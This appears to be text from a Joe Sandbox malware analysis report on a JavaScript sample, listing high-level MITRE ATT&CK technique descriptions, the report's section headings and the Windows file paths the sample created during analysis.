Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 9191198332977923109.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\efc2d529-032b-48ec-b98d-0609e0063b40.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3652

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
9191198332977923109.js